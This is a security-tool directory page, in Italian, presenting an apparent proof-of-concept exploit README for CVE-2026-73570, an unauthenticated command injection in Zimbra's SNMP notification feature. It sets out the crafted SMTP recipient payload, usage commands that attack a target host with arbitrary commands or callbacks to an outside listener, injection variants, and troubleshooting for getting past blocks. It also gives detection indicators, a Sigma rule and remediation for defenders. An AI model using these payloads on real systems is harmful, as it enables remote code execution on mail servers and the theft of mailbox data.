Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-73570 — Proof-of-concept exploit per CVE-2026-73570, un'iniezione di comandi OS non autenticata in Zimbra Collaboration Suite tramite iniezione di log in zimbra-snmp, con indicazioni per il rilevamento. | Kitploit
Strumenti/GitHubGitHub/hainhc/cve-2026-73570
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRisposta agli IncidentiSicurezza Email
GitHubhainhc/cve-2026-73570

CVE-2026-73570

Proof-of-concept exploit per CVE-2026-73570, un'iniezione di comandi OS non autenticata in Zimbra Collaboration Suite tramite iniezione di log in zimbra-snmp, con indicazioni per il rilevamento.

Vedi Repository
11h 38m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-73570 — Zimbra zimbra-snmp Iniezione di Comandi OS Non Autenticata PoC

Proof-of-concept exploit per CVE-2026-73570, un'iniezione di comandi OS non autenticata (CWE-78, CVSS 8.9) in Zimbra Collaboration Suite < 10.1.20 quando il pacchetto zimbra-snmp è installato e le notifiche SNMP sono abilitate.

Disclaimer: Questo PoC è destinato esclusivamente a test di sicurezza autorizzati, ricerca difensiva e validazione dei propri sistemi. Non utilizzarlo contro qualsiasi sistema di cui non si è proprietari o per cui non si ha esplicita autorizzazione scritta al test.

Meccanismo della vulnerabilità

La funzionalità di notifica SNMP di Zimbra utilizza swatchdog per monitorare /var/log/zimbra.log per eventi di servizio. Quando una riga di log corrisponde al suo pattern di watch, il testo corrispondente viene interpolato in un comando shell che invia la notifica SNMP — senza sanitizzazione.

La catena di attacco:

root@kitploit:~
1. Attacker sends an SMTP session with a crafted RCPT TO address:

   RCPT TO:<"x: Service status change: localhost $(CMD)
            changed from stopped to running"@cve.invalid>

   The local part is an RFC 5321 quoted-string, so Postfix accepts the
   address syntax (spaces, colons, $(...) included).

2. Postfix rejects the recipient (relay denied / user unknown / sender
   restriction) and writes the FULL to=<...> string, quotes stripped, into
   /var/log/zimbra.log:

   NOQUEUE: reject: RCPT from unknown[x.x.x.x]: ... to=<x: Service status
   change: localhost $(CMD) changed from stopped to [email protected]> ...

3. swatchdog (zimbra-snmp) periodically scans the log and matches its
   watchfor pattern "Service status change ... changed from ... to ...".

4. The matched text is interpolated into the SNMP notification shell command
   -> $(CMD) is evaluated -> command execution as the `zimbra` user.

Requisiti

Il target deve soddisfare tutti i seguenti requisiti:

  • Zimbra Collaboration < 10.1.20
  • Pacchetto zimbra-snmp installato
  • Notifiche SNMP abilitate (zmlocalconfig | grep -i snmp_notify)

Lato attaccante: Python 3 (solo libreria standard, nessuna dipendenza).

Utilizzo

root@kitploit:~
# 1. Verify RCE via out-of-band DNS callback (interactsh / Burp Collaborator):
python3 poc_cve_2026_73570.py -t mail.target.com --oob abc123.oast.site

# 2. Verify RCE via HTTP callback to your listener:
python3 poc_cve_2026_73570.py -t mail.target.com --oob http://10.0.0.5:8884/cb

# 3. Drop a marker file on the host (check manually on the server afterwards):
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "touch /tmp/CVE-2026-73570_pwned"

# 4. Fingerprint only (no payload sent):
python3 poc_cve_2026_73570.py -t mail.target.com --check-only

# Debug: print the full SMTP transcript
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "id" --debug

Opzioni:

FlagDescrizione
-t, --targetIP/hostname SMTP Zimbra target (obbligatorio)
-p, --portPorta SMTP (default: 25)
--tlsUsa STARTTLS (es. porta 587)
--oobDominio DNS OOB o URL di callback HTTP (consigliato)
--cmdComando arbitrario invece del callback OOB
--fake-hostHostname all'interno della stringa fake Service status change (default: localhost)
--check-onlySolo fingerprint, non invia payload
--delayRitardo tra gli invii in secondi (default: 1.0)
--debugStampa il transcript SMTP completo

Verifica

Lo script invia ogni comando in diverse varianti di iniezione ($(...), backtick, ;cmd;#, $({IFS}...)). Per ogni variante, osservare il codice di risposta RCPT:

Risposta RCPTSignificato
250, 450, 454 Relay access denied, 550 5.1.1 User unknownSintassi dell'indirizzo accettata — la riga di reject con la stringa completa to=<...> è ora nel log. Payload piantato.
501 5.1.3 Bad recipient address syntaxPostfix ha rifiutato l'indirizzo in fase di parsing — nulla di utile registrato. Lo script riprova automaticamente con un fallback senza virgolette.

Poi confermare sul server (se si ha accesso):

root@kitploit:~
# The injected line must be present:
grep 'Service status change' /var/log/zimbra.log | tail
# Expected: ... to=<x: Service status change: localhost $(...) changed from stopped to [email protected]> ...

# Wait 1-5 minutes (swatchdog scans the log periodically — execution is NOT real-time),
# then check for the effect:
ls -la /tmp/                    # if you used --cmd
# or watch your OOB listener for the callback

Se la riga di log è presente ma il comando non viene mai eseguito, le restanti precondizioni sono lato swatchdog: verificare che il processo sia in esecuzione (ps aux | grep swatch) e che la sua configurazione stia effettivamente monitorando il pattern Service status change.

Contesto di esecuzione: i comandi vengono eseguiti come utente zimbra (non root).

Risoluzione dei problemi

  • Nessuna riga di log: il tuo IP sorgente è probabilmente bloccato (fail2ban dopo ripetuti tentativi malformati, o un firewall). Controlla fail2ban-client status, iptables -L -n | grep <your_ip>, e conferma che i pacchetti raggiungano Postfix con tcpdump -i any port 25 and host <your_ip> -nn -A.
  • Grep troppo restrittivo: gli indirizzi malformati vengono registrati come warning: Illegal address syntax ... in RCPT command: ... invece di una riga NOQUEUE: reject. Usa il grep per il tuo IP attaccante.
  • Ritardo di esecuzione: swatchdog esegue il polling del log su un ciclo — attendi 1–5 minuti prima di concludere che è fallito.

Rilevamento (per i difensori)

Indicatori chiave di sfruttamento riuscito:

  1. Artefatto di log (tentativo): to=<*: Service status change: *$(...)* all'interno di una riga di reject di Postfix in /var/log/zimbra.log — praticamente zero falsi positivi, poiché il testo Service status change non appare mai legittimamente all'interno di un indirizzo to=<>.
  2. Albero dei processi (alta fedeltà): qualsiasi shell o interprete di comandi (sh, bash, curl, wget, nc, python, perl) generato come figlio di swatchdog / swatch.
  3. Post-sfruttamento: nuovi file .jsp/.jspx sotto /opt/zimbra/jetty/webapps/ o /opt/zimbra/jetty_base/webapps/, file inattesi in /tmp/, nuove voci cron o chiavi SSH per l'utente zimbra, e connessioni in uscita dal server di posta che non corrispondono al normale flusso di posta.

Esempio di regola Sigma (fase di tentativo):

root@kitploit:~
title: Zimbra SNMP Notification Log Injection Attempt - CVE-2026-73570
logsource:
  product: linux
  service: postfix
detection:
  sel:
    - 'to=<*: Service status change: *$(*'
    - 'to=<*: Service status change: *`*'
  condition: sel
level: high
tags:
  - attack.initial-access
  - attack.t1190
  - cve.2026.73570

Remediation

  • Aggiornare Zimbra Collaboration a 10.1.20 o successivo.
  • Se l'aggiornamento immediato è impossibile: disabilitare le notifiche SNMP e considerare l'arresto/rimozione del pacchetto zimbra-snmp fino alla patch.
  • Questa CVE è elencata nel CISA KEV con sfruttamento attivo confermato — cerca a ritroso almeno 30 giorni di log su qualsiasi sistema precedentemente vulnerabile, e tratta qualsiasi compromissione confermata come una completa esposizione dei dati delle caselle di posta.

Riferimenti

  • Zimbra Security Advisories (vendor): https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
  • Zimbra 10.1.20 patch release (fix): https://blog.zimbra.com/2026/07/patch-release-update-zimbra-10-1-20/
  • NVD — CVE-2026-73570: https://nvd.nist.gov/vuln/detail/CVE-2026-73570
  • CISA Known Exploited Vulnerabilities Catalog (added 2026-08-21): https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search=CVE-2026-73570
  • CISA alert — "CISA Adds One Known Exploited Vulnerability to Catalog": https://www.cisa.gov/news-events/alerts/2026/08/21/cisa-adds-one-known-exploited-vulnerability-catalog
  • CERT Polska advisory 145/2026 (active exploitation + IoC guidance, 2026-08-17): https://moje.cert.pl/komunikaty/2026/145/aktywnie-wykorzystywana-podatnosc-w-zimbra-collaboration-suite/
  • BleepingComputer — "Critical Zimbra RCE flaw now actively exploited in attacks": https://www.bleepingcomputer.com/news/security/critical-zimbra-rce-flaw-now-actively-exploited-in-attacks/
  • Help Net Security — "Unpatched Zimbra servers are falling to CVE-2026-73570 attacks": https://www.helpnetsecurity.com/2026/08/25/zimbra-cve-2026-73570-compromised/
Scarica lo strumento